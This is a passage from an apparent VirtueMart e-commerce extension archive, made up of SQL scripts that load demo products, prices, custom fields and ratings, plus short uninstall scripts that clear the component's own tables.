      ', 'Advanced price overwrite', '', '', '', 'advanced-price-overwrite'), (26, 'Advanced multiple overrides', '

      This is a child of Product PATTERN. Most inherited settings are overwritten:
      - Short desc
      - Product desc
      - Product price
      - Product Images
      - Product Dimension and Weight (Units in Box)
      - Customfields

      In case the child product should be available by browsing set the product category.

      ', 'Advanced multiple overrides', '', '', '', 'advanced-multiple-overrides'), (27, '', '', '3- Product 1st PATTERN', '', '', '', '3-product-1st-pattern'), (28, '', '', '2- 1st pattern CHILD 1', '', '', '', '2--1st-pattern-child-1'), (29, '', '', '7- 1st pattern CHILD 2', '', '', '', '7-1st-pattern-child-2'), (30, '', '', '5- 1st pattern CHILD 3', '', '', '', '5-1st-pattern-child-3'), (31, '', '', '4- 1st pattern CHILD 4', '', '', '', '4-1st-pattern-child-4'), (32, '', '', '1- 1st pattern CHILD 5', '', '', '', '1--1st-pattern-child-5'), (33, '', '', '32- 1st pattern CHILD 6', '', '', '', '32-1st-pattern-child-6'), (34, '', '', '25- 1st pattern CHILD 7', '', '', '', '25-1st-pattern-child-7'), (35, '', '', '24- 1st pattern CHILD 8', '', '', '', '24-1st-pattern-child-8'), (36, '', '', '27- 1st pattern CHILD 9', '', '', '', '27-1st-pattern-child-9'), (37, '', '', '28- 1st pattern CHILD 10', '', '', '', '28-1st-pattern-child-10'), (38, '', '', '8- Product 2st PATTERN', '', '', '', '8-product-2st-pattern'), (39, '', '', '6- 2nd pattern CHILD 1', '', '', '', '6--2nd-pattern-child-1'), (40, '', '', '15- 2nd pattern CHILD 2', '', '', '', '15-2nd-pattern-child-2'), (41, '', '', '30- 2nd pattern CHILD 3', '', '', '', '30-2nd-pattern-child-3'), (42, '', '', '17- 2nd pattern CHILD 4', '', '', '', '17-2nd-pattern-child-4'), (43, '', '', '16- 2nd pattern CHILD 5', '', '', '', '16-2nd-pattern-child-5'), (44, '', '', '22- 2nd pattern CHILD 6', '', '', '', '22-2nd-pattern-child-6'), (45, '', '', '23- 2nd pattern CHILD 7', '', '', '', '23-2nd-pattern-child-7'), (46, '', '', '21- 2nd pattern CHILD 8', '', '', '', '21-2nd-pattern-child-8'), (47, '', '', '18- 2nd pattern CHILD 9', '', '', '', '18-2nd-pattern-child-9'), (48, '', '', '33- 2nd pattern CHILD 10', '', '', '', '33-2nd-pattern-child-10'), (49, '', '', '20- Product 3rd PATTERN', '', '', '', '20-product-3rd-pattern'), (50, '', '', '19- 3rd pattern child 1', '', '', '', '19--3rd-pattern-child-1'), (51, '', '', '14- 3rd pattern child 2', '', '', '', '14--3rd-pattern-child-2'), (52, '', '', '13- 3rd pattern child 3', '', '', '', '13--3rd-pattern-child-3'), (53, '', '', '11- 3rd pattern child 4', '', '', '', '11--3rd-pattern-child-4'), (54, '', '', '26- 3rd pattern child 5', '', '', '', '26-3rd-pattern-child-5'), (55, '', '', '9- 3rd pattern child 6', '', '', '', '9--3rd-pattern-child-6'), (56, '', '', '31- 3rd pattern child 7', '', '', '', '31-3rd-pattern-child-7'), (57, '', '', '10- 3rd pattern child 8', '', '', '', '10--3rd-pattern-child-8'), (58, '', '', '29- 3rd pattern child 9', '', '', '', '29-3rd-pattern-child-9'), (59, '', '', '12- 3rd pattern child 10', '', '', '', '12--3rd-pattern-child-10'), (60, '', '', 'PATTERN Hats', '', '', '', 'pattern-hats'), (61, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

      Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

      ', 'Classic Hat', '', '', '', 'classic-hat'), (62, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

      Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

      ', 'Cowboy Hat', '', '', '', 'cowboy-hat'), (63, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

      Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

      ', 'Derby Hat', '', '', '', 'derby-hat'), (64, '', '', 'PATTERN Caps', '', '', '', 'pattern-caps'), (65, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr.', '

      Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

      ', 'Santa Cap', '', '', '', 'santa-cap'), (66, 'Base lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

      Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

      ', 'Baseball Cap', '', '', '', 'baseball-cap'), (67, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

      Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

      ', 'Marine Cap', '', '', '', 'marine-cap'), (68, 'Pattern for Clothing. For showcase reason this pattern is NOT unpublished.', '

      For showcase reason this pattern is NOT unpublished.

      ', 'PATTERN Clothing', '', '', '', 'pattern-outer-garments'), (69, 'Jumper dress ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '', 'Jumper', '', '', '', 'jumper'), (70, 'Wide dress dress ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

      Wide dress ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

      ', 'Wide dress', '', '', '', 'wide-dress'), (71, 'Classic jacket ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

      Classic Jacket ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

      ', 'Classic Jacket', '', '', '', 'classic-jacket'), (72, 'Poncho ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

      Poncho ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

      ', 'Poncho', '', '', '', 'poncho'), (73, 'Dress ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

      Dress ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

      ', 'Dress', '', '', '', 'dress'); INSERT IGNORE INTO `#__virtuemart_product_categories` (`id`, `virtuemart_product_id`, `virtuemart_category_id`, `ordering`) VALUES (1, 1, 1, 1), (2, 2, 1, 2), (3, 3, 1, 3), (4, 4, 1, 4), (5, 5, 1, 5), (6, 6, 1, 6), (7, 7, 1, 7), (8, 11, 1, 8), (9, 15, 1, 9), (13, 21, 2, 3), (11, 20, 2, 2), (12, 19, 2, 1), (14, 22, 2, 4), (15, 23, 2, 5), (16, 24, 2, 6), (17, 25, 2, 7), (20, 27, 3, 3), (19, 26, 2, 8), (21, 28, 3, 2), (22, 36, 3, 27), (23, 35, 3, 24), (24, 34, 3, 25), (25, 33, 3, 32), (26, 32, 3, 1), (27, 31, 3, 4), (28, 30, 3, 5), (29, 29, 3, 7), (30, 37, 3, 28), (31, 38, 3, 8), (32, 39, 3, 6), (33, 47, 3, 18), (34, 46, 3, 21), (35, 45, 3, 23), (36, 44, 3, 22), (37, 43, 3, 16), (38, 42, 3, 17), (39, 41, 3, 30), (40, 40, 3, 15), (41, 48, 3, 33), (42, 49, 3, 20), (43, 50, 3, 19), (44, 58, 3, 29), (45, 57, 3, 10), (46, 56, 3, 31), (47, 55, 3, 9), (48, 54, 3, 26), (49, 53, 3, 11), (50, 52, 3, 13), (51, 51, 3, 14), (52, 59, 3, 12), (53, 60, 5, 1), (54, 61, 5, 2), (55, 62, 5, 3), (56, 63, 5, 4), (57, 64, 6, 1), (58, 65, 6, 2), (59, 66, 6, 3), (60, 67, 6, 4), (61, 68, 7, 1), (62, 70, 7, 3), (63, 70, 9, 1), (64, 69, 7, 2), (65, 69, 8, 1), (66, 71, 7, 4), (67, 71, 8, 2), (68, 72, 7, 5), (69, 72, 9, 2), (70, 72, 8, 3), (71, 73, 7, 6), (72, 73, 9, 3), (73, 63, 4, 4), (74, 62, 4, 3), (75, 61, 4, 2), (76, 60, 4, 1), (77, 67, 4, 8), (78, 66, 4, 7), (79, 65, 4, 6), (80, 64, 4, 5); INSERT IGNORE INTO `#__virtuemart_product_customfields` (`virtuemart_customfield_id`, `virtuemart_product_id`, `virtuemart_custom_id`, `custom_value`, `custom_price`, `custom_param`, `published`, `ordering`) VALUES (1, 3, 3, 'This is the content of the customfield string.', NULL, '', 0, 0), (2, 4, 4, 'Default product with this customfield textarea.

      \r\n\r\nLorem ipsum dolor sit amet, set clita kasd gubergren, no sea takimata sanctus est dolor sit amet consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat.

      \r\n\r\nAt vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

      \r\n', NULL, '', 0, 1), (3, 5, 5, '', NULL, '', 0, 0), (4, 5, 6, 'Customfield Child string 1 content', NULL, '', 0, 1), (5, 5, 7, 'Customfield ChildCustomfield Child string 2 content 2: string content', NULL, '', 0, 2), (6, 5, 8, '
      \r\nCustomfield Textarea Child content
      \r\n>> This three customfields are assigned by adding Customfield Parent.
      ', NULL, '', 0, 3), (7, 6, 9, '(default)', NULL, '', 0, 0), (8, 6, 9, 'Variant A', 2.00000, '', 0, 1), (9, 6, 9, 'Variant B', 5.00000, '', 0, 2), (10, 6, 9, 'Variant C', 10.00000, '', 0, 3), (11, 7, 10, 'product_sku', NULL, 'withParent="1"|parentOrderable="1"|', 0, 0), (12, 11, 10, 'product_sku', NULL, 'withParent="1"|parentOrderable="0"|', 0, 0), (13, 15, 1, '6', NULL, '', 0, 0), (14, 15, 1, '7', NULL, '', 0, 1), (15, 15, 10, 'product_sku', NULL, 'withParent="1"|parentOrderable="1"|', 0, 0), (16, 15, 9, '(default)', NULL, '', 0, 1), (17, 15, 9, 'Variante A', 10.00000, '', 0, 2), (18, 15, 9, 'Variante B', 20.00000, '', 0, 3), (19, 15, 9, 'Variante C', 30.00000, '', 0, 4), (20, 23, 5, '', NULL, '', 0, 0), (21, 23, 6, 'Customfield string 1: Child content', NULL, '', 0, 1), (22, 23, 7, 'Customfield string 2: Child content', NULL, '', 0, 2), (23, 23, 8, '
      \r\nAdvanced PATTERN content
      \r\n>> This three customfields are assigned by adding Customfields Parent.
      ', NULL, '', 0, 3), (24, 26, 5, '', NULL, '', 0, 0), (25, 26, 6, 'Advanced multiple overwrite', NULL, '', 0, 1), (26, 26, 7, 'Advanced multiple overwrite', NULL, '', 0, 2), (27, 26, 8, '>> Advanced multiple overwrite', NULL, '', 0, 3), (28, 61, 1, '62', NULL, '', 0, 0), (29, 61, 1, '63', NULL, '', 0, 1), (30, 62, 1, '63', NULL, '', 0, 0), (31, 62, 1, '61', NULL, '', 0, 1), (32, 63, 1, '62', NULL, '', 0, 0), (33, 63, 1, '61', NULL, '', 0, 1), (44, 64, 13, 'Details: ', NULL, '', 0, 5), (43, 64, 11, '', NULL, '', 0, 4), (41, 64, 12, 'M-L', 1.00000, '', 0, 2), (40, 64, 12, 'S-M', NULL, '', 0, 1), (46, 65, 12, 'S', NULL, '', 0, 1), (42, 64, 12, 'L-XL', 2.00000, '', 0, 3), (45, 64, 14, 'Components: ', NULL, '', 0, 6), (47, 65, 12, 'M', 1.00000, '', 0, 2), (48, 65, 12, 'L', 3.00000, '', 0, 3), (49, 65, 11, '', NULL, '', 0, 4), (50, 65, 13, 'Extra fluffy cap your Santa will be amused', NULL, '', 0, 5), (51, 65, 14, '100% Synthetic Deerimitation', NULL, '', 0, 6), (52, 66, 12, 'S', NULL, '', 0, 1), (53, 66, 12, 'M', 3.00000, '', 0, 2), (54, 66, 12, 'L', 5.00000, '', 0, 3), (55, 66, 11, '', NULL, '', 0, 4), (56, 66, 13, 'The players choice!', NULL, '', 0, 5), (57, 66, 14, '100% Cotton', NULL, '', 0, 6), (58, 66, 1, '65', NULL, '', 0, 0), (59, 66, 1, '67', NULL, '', 0, 1), (60, 65, 1, '66', NULL, '', 0, 0), (61, 65, 1, '67', NULL, '', 0, 1), (62, 67, 12, 'S-M', NULL, '', 0, 1), (63, 67, 12, 'M-L', 1.00000, '', 0, 2), (64, 67, 12, 'L-XL', 2.00000, '', 0, 3), (65, 67, 11, '', NULL, '', 0, 4), (66, 67, 13, 'Your freetime and leisure heads friend', NULL, '', 0, 5), (67, 67, 14, '100% Cotton', NULL, '', 0, 6), (68, 67, 1, '65', NULL, '', 0, 0), (69, 67, 1, '66', NULL, '', 0, 1), (70, 68, 15, 'Twill', NULL, '', 0, 0), (71, 68, 15, 'Rip-stop', 10.00000, '', 0, 1), (72, 68, 16, 'M', NULL, '', 0, 2), (73, 68, 16, 'L', 10.00000, '', 0, 3), (74, 68, 17, '', NULL, '', 0, 4), (75, 68, 18, '100% natural wool', NULL, '', 0, 5), (76, 68, 19, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.', NULL, '', 0, 6), (77, 69, 16, 'M-L', NULL, '', 0, 2), (78, 69, 16, 'L-XL', 15.00000, '', 0, 3), (79, 69, 17, '', NULL, '', 0, 4), (80, 69, 18, '100% Cotton', NULL, '', 0, 5), (81, 69, 19, 'Jumper ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.', NULL, '', 0, 6), (82, 70, 15, 'Fine', NULL, '', 0, 0), (83, 70, 15, 'Extra fine', 100.00000, '', 0, 1), (84, 70, 16, 'S-M', NULL, '', 0, 2), (85, 70, 16, 'M-L', 50.00000, '', 0, 3), (86, 70, 17, '', NULL, '', 0, 4), (87, 70, 18, '100% Cotton special', NULL, '', 0, 5), (88, 70, 19, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.', NULL, '', 0, 6), (89, 71, 15, 'Cord', NULL, '', 0, 0), (90, 71, 15, 'Twill', 100.00000, '', 0, 1), (91, 71, 16, 'M-L', NULL, '', 0, 2), (92, 71, 16, 'L-XL', 100.00000, '', 0, 3), (93, 71, 17, '', NULL, '', 0, 4), (94, 71, 18, '100% Cotton', NULL, '', 0, 5), (95, 71, 19, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.', NULL, '', 0, 6), (96, 72, 15, 'Rubber', NULL, '', 0, 0), (97, 72, 15, 'Polyethylen', 5.00000, '', 0, 1), (98, 72, 16, 'S-M', NULL, '', 0, 2), (99, 72, 16, 'L-XL', 5.00000, '', 0, 3), (100, 72, 17, '', NULL, '', 0, 4), (101, 72, 18, '100% Synthetic', NULL, '', 0, 5), (102, 72, 19, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.', NULL, '', 0, 6), (103, 73, 16, 'XS', NULL, '', 0, 0), (104, 73, 16, 'S', 10.00000, '', 0, 1), (105, 73, 16, 'M', 20.00000, '', 0, 2), (106, 73, 16, 'L', 30.00000, '', 0, 3), (107, 73, 17, '', NULL, '', 0, 4), (108, 73, 19, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.', NULL, '', 0, 6); INSERT IGNORE INTO `#__virtuemart_product_manufacturers` (`id`, `virtuemart_product_id`, `virtuemart_manufacturer_id`) VALUES (1, 1, 2), (2, 2, 2), (3, 3, 2), (4, 4, 2), (5, 5, 2), (6, 6, 2), (7, 7, 2), (8, 8, 2), (9, 9, 2), (10, 10, 2), (11, 11, 2), (12, 15, 2), (13, 19, 2), (14, 20, 2), (15, 21, 2), (16, 22, 2), (17, 23, 2), (18, 24, 1), (19, 25, 2), (20, 26, 1), (21, 27, 2), (22, 28, 2), (23, 36, 1), (24, 35, 3), (25, 34, 2), (26, 33, 1), (27, 32, 3), (28, 31, 2), (29, 30, 2), (30, 29, 1), (31, 37, 3), (32, 38, 2), (33, 39, 2), (34, 47, 1), (35, 46, 3), (36, 45, 2), (37, 44, 1), (38, 43, 3), (39, 42, 2), (40, 41, 1), (41, 40, 3), (42, 48, 2), (43, 49, 2), (44, 50, 2), (45, 58, 1), (46, 57, 3), (47, 56, 2), (48, 55, 1), (49, 54, 3), (50, 53, 2), (51, 52, 2), (52, 51, 1), (53, 59, 1), (54, 60, 3), (55, 61, 3), (56, 62, 2), (57, 63, 2), (58, 64, 2), (59, 65, 2), (60, 66, 1), (61, 67, 3), (62, 68, 2), (63, 70, 1), (64, 69, 3), (65, 71, 3), (66, 72, 1), (67, 73, 2); INSERT IGNORE INTO `#__virtuemart_product_medias` (`id`, `virtuemart_product_id`, `virtuemart_media_id`, `ordering`) VALUES (1, 1, 8, 1), (2, 2, 8, 1), (3, 3, 8, 1), (4, 4, 8, 1), (5, 5, 8, 1), (6, 6, 8, 1), (7, 7, 8, 1), (8, 11, 8, 1), (9, 15, 8, 1), (10, 19, 8, 1), (11, 23, 8, 1), (12, 26, 12, 1), (13, 22, 11, 1), (14, 27, 8, 1), (15, 49, 8, 1), (16, 38, 8, 1), (17, 60, 8, 1), (18, 61, 10, 1), (19, 62, 11, 1), (20, 63, 12, 1), (21, 64, 8, 1), (22, 65, 13, 1), (23, 66, 14, 1), (24, 67, 15, 1), (25, 68, 8, 1), (26, 69, 16, 1), (27, 70, 17, 1), (28, 71, 18, 1), (29, 72, 19, 1), (30, 73, 20, 1); INSERT IGNORE INTO `#__virtuemart_product_prices` (`virtuemart_product_price_id`, `virtuemart_product_id`, `virtuemart_shoppergroup_id`, `product_price`, `override`, `product_override_price`, `product_tax_id`, `product_discount_id`, `product_currency`) VALUES (1, 1, 0, 10.00000, 0, 0.00000, 0, 0, 47), (2, 2, 0, 0.00000, 0, 0.00000, 0, 0, 47), (3, 3, 0, 10.00000, 0, 0.00000, 0, 0, 47), (4, 5, 0, 10.00000, 0, 0.00000, 0, 0, 47), (5, 6, 0, 10.00000, 0, 0.00000, 0, 0, 47), (6, 7, 0, 10.00000, 0, 0.00000, 0, 0, 47), (7, 8, 0, 15.00000, 0, 0.00000, 0, 0, 47), (8, 9, 0, 20.00000, 0, 0.00000, 0, 0, 191), (9, 10, 0, 25.00000, 0, 0.00000, 0, 0, 191), (10, 11, 0, 10.00000, 0, 0.00000, 0, 0, 47), (11, 12, 0, 15.00000, 0, 0.00000, 0, 0, 191), (12, 13, 0, 20.00000, 0, 0.00000, 0, 0, 191), (13, 14, 0, 25.00000, 0, 0.00000, 0, 0, 191), (14, 15, 0, 10.00000, 0, 0.00000, 0, 0, 47), (15, 16, 0, 15.00000, 0, 0.00000, 0, 0, 191), (16, 17, 0, 20.00000, 0, 0.00000, 0, 0, 191), (17, 18, 0, 25.00000, 0, 0.00000, 0, 0, 191), (18, 4, 0, 10.00000, 0, 0.00000, 0, 0, 47), (19, 19, 0, 10.00000, 0, 0.00000, 0, 0, 47), (20, 21, 0, 20.00000, 0, 0.00000, 0, 0, 47), (21, 22, 0, 30.00000, 0, 0.00000, 0, 0, 47), (22, 23, 0, 100.00000, 0, 0.00000, 0, 0, 47), (23, 25, 0, 150.00000, 0, 0.00000, 0, 0, 47), (24, 26, 0, 200.00000, 0, 0.00000, 0, 0, 47), (25, 27, 0, 40.00000, 0, 0.00000, 0, 0, 47), (26, 38, 0, 210.00000, 0, 0.00000, 0, 0, 47), (27, 49, 0, 300.00000, 0, 0.00000, 0, 0, 47), (28, 61, 0, 29.00000, 0, 0.00000, 0, 0, 47), (29, 62, 0, 34.90000, 0, 0.00000, 0, 0, 47), (30, 63, 0, 44.90000, 0, 0.00000, 0, 0, 191), (31, 64, 0, 25.00000, 0, 0.00000, 0, 0, 47), (32, 65, 0, 24.90000, 0, 0.00000, 0, 0, 47), (33, 66, 0, 15.00000, 0, 0.00000, 0, 0, 47), (34, 67, 0, 17.90000, 0, 0.00000, 0, 0, 47), (35, 68, 0, 249.90000, 0, 0.00000, 0, 0, 47), (36, 69, 0, 149.90000, 0, 0.00000, 0, 0, 47), (37, 70, 0, 490.90000, 0, 0.00000, 0, 0, 47), (38, 71, 0, 899.90000, 0, 0.00000, 0, 0, 47), (39, 72, 0, 24.90000, 0, 0.00000, 0, 0, 182), (40, 73, 0, 449.90000, 0, 0.00000, 0, 0, 47), (41, 72, 3, 19.90000, 0, 0.00000, 0, 0, 47), (42, 73, 3, 349.90000, 0, 0.00000, 0, 0, 47), (43, 61, 3, 14.90000, 0, 0.00000, 0, 0, 47), (44, 62, 3, 24.90000, 0, 0.00000, 0, 0, 47), (45, 63, 3, 34.90000, 0, 0.00000, 0, 0, 47), (46, 65, 3, 14.90000, 0, 0.00000, 0, 0, 47), (47, 66, 3, 9.90000, 0, 0.00000, 0, 0, 47), (48, 67, 3, 12.90000, 0, 0.00000, 0, 0, 47); INSERT IGNORE INTO `#__virtuemart_ratings` (`virtuemart_rating_id`, `virtuemart_product_id`, `rates`, `ratingcount`, `rating`, `published`) VALUES (1, 4, 4, 1, 4.0, 0), (2, 5, 5, 1, 5.0, 0), (3, 6, 4, 1, 4.0, 0), (4, 7, 4, 1, 4.0, 0), (5, 11, 5, 1, 5.0, 0), (6, 15, 5, 1, 5.0, 0), (7, 22, 3, 1, 3.0, 0), (8, 23, 5, 1, 5.0, 0), (9, 24, 4, 1, 4.0, 0), (10, 25, 4, 1, 4.0, 0), (11, 26, 5, 1, 5.0, 0), (12, 21, 5, 1, 5.0, 0), (13, 20, 3, 1, 3.0, 0), (14, 19, 5, 1, 5.0, 0), (15, 63, 5, 1, 5.0, 0), (16, 60, 5, 1, 5.0, 0), (17, 61, 4, 1, 4.0, 0), (18, 62, 4, 1, 4.0, 0), (19, 67, 5, 1, 5.0, 0), (20, 64, 4, 1, 4.0, 0), (21, 65, 5, 1, 5.0, 0), (22, 66, 5, 1, 5.0, 0), (23, 71, 5, 1, 5.0, 0), (24, 72, 3, 1, 3.0, 0), (25, 73, 4, 1, 4.0, 0), (26, 70, 5, 1, 5.0, 0), (27, 69, 4, 1, 4.0, 0); INSERT IGNORE INTO `#__virtuemart_rating_votes` (`virtuemart_rating_vote_id`, `virtuemart_product_id`, `vote`, `lastip`) VALUES (1, 4, 4, '::1'), (2, 5, 5, '::1'), (3, 6, 4, '::1'), (4, 7, 4, '::1'), (5, 11, 5, '::1'), (6, 15, 5, '::1'), (7, 22, 3, '::1'), (8, 23, 5, '::1'), (9, 24, 4, '::1'), (10, 25, 4, '::1'), (11, 26, 5, '::1'), (12, 21, 5, '::1'), (13, 20, 3, '::1'), (14, 19, 5, '::1'), (15, 63, 5, '::1'), (16, 60, 5, '::1'), (17, 61, 4, '::1'), (18, 62, 4, '::1'), (19, 67, 5, '::1'), (20, 64, 4, '::1'), (21, 65, 5, '::1'), (22, 66, 5, '::1'), (23, 71, 5, '::1'), (24, 72, 3, '::1'), (25, 73, 4, '::1'), (26, 70, 5, '::1'), (27, 69, 4, '::1'); INSERT INTO `#__virtuemart_shoppergroups` (`virtuemart_shoppergroup_id`, `virtuemart_vendor_id`, `shopper_group_name`, `shopper_group_desc`, `default`, `shared`, `published`) VALUES (NULL, 1, 'Gold Level', 'Gold Level Shoppers.', 0,1,1), (NULL, 1, 'Wholesale', 'Shoppers that can buy at wholesale.', 0,1,1);PKs>\+3com_virtuemart/install/uninstall_essential_data.sqlnuW+A-- Remove all essential data DELETE FROM `#__virtuemart_configs`; DELETE FROM `#__virtuemart_adminmenuentries`; DELETE FROM `#__virtuemart_modules`; DELETE FROM `#__virtuemart_orderstates`; DELETE FROM `#__virtuemart_userfields`; DELETE FROM `#__virtuemart_userfield_values`;PKs>\VUvv2com_virtuemart/install/uninstall_required_data.sqlnuW+A-- Remove all required data DELETE FROM `#__virtuemart_permgroups`; DELETE FROM `#__virtuemart_countries`; DELETE FROM `#__virtuemart_currencies`; DELETE FROM `#__virtuemart_paymentmethods`; DELETE FROM `#__virtuemart_shipmentmethods`; DELETE FROM `#__virtuemart_shoppergroups`; DELETE FROM `#__virtuemart_vmuser_shoppergroups`; DELETE FROM `#__virtuemart_states`;PKs>\!com_virtuemart/install/index.htmlnuW+APKs>\) com_virtuemart/install/.htaccessnuW+A Order allow,deny Deny from all PKs>\&'"com_virtuemart/install/install.sqlnuW+A-- VirtueMart table SQL script -- This will install all the tables need to run 